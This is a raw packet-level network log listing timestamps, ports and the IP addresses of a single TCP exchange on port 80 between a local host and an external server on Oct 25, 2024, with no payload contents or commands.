Oct 25, 2024 07:28:21.917170048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917171001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917186975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917191029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917203903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917207003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917221069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917232990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917260885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917496920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917556047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917572021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917599916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917613029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917633057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917656898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917675018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917675972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917697906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917701006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917716980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917731047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917735100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917735100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917747974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917757988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917762995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917778015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917788029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917802095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917809963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917818069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917843103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917845964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917857885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917865038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917875051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917881012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917890072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917897940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917918921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917932987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918113947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918138981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918154001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918154955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918178082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918185949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918186903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918203115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918220043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918227911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918236017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918239117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918251038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.918260098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918277025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.918289900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.920635939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.920674086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.920691013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.920706987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.920731068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.920769930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033006907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033068895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033075094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033116102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033123016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033165932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033174038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033216953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033226013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033256054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033272028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033292055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033313036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033327103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033337116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033377886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033412933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033421993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033452034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033464909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033500910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033505917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033543110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033551931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033586979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033596039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033621073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033631086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033658028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033663034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033689976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033734083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033735991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033767939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033776045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033813000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033821106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033857107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033864975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033902884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.033910036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033981085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.033982038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034022093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034022093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034066916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034074068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034117937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034126043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034158945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034193039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034214973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034224987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034236908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034270048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034275055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034310102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034321070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034356117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034359932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034394026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034410954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034434080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034444094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034480095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034492016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034513950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034548044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034559965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034593105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034600019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034631968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034665108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034674883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034698963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034715891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034748077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034753084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034785986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034796000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034820080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034830093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034852982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034864902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034888983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034939051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034966946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.034971952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.034987926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035022974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035023928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035058022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035065889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035103083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035110950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035155058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035167933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035212040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035226107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035270929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035278082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035329103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035346031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035381079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035412073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035427094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035445929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035490036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035490036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035500050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035545111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035552979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035598040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035604000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035638094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035645962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035670996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035681963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035706043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035723925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035748005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035758018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035808086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035840988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035855055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035873890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035886049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035908937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035912991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035947084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035979033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.035990953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.035990953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036012888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036027908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036042929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036081076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036084890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036119938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036133051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036153078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036173105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036186934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036197901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036235094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036251068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036269903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036274910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036304951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036313057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036339998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036379099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036380053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036401987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036415100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036443949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036461115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036474943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036495924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036508083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036519051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036535978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036561966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036571026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036580086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036603928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036633015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036659002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036665916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036679983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036701918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036710978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036737919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036744118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036772966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036781073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036808014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036818027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036843061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036853075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036875963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036886930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036909103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036916971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036942959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.036955118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.036977053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037009954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037023067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037045002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037055016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037079096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037090063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037111998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037122011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037142038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037157059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037173986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037187099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037208080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037215948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037241936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037251949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037275076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037290096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037307978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037316084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037347078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037355900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037380934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037391901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037415981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037424088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037448883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037458897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037482977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037494898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037513971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037527084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037549019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037583113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037595034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037616014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037640095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037657022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037678003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037713051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037724972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037746906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037758112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037781000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037796021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037828922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037834883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037869930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037894964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037904024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037913084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037938118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037947893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.037972927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.037983894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038007021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038016081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038045883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038053036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038079977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038115025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038120985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038147926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038165092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038182974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038192987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038217068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038225889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038253069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038260937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038285971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038297892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038321972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038330078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038357019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038366079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038392067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038400888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038424969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038435936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.038464069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.038470984 CEST	49704	80	192.168.2.5	185.215.113.37
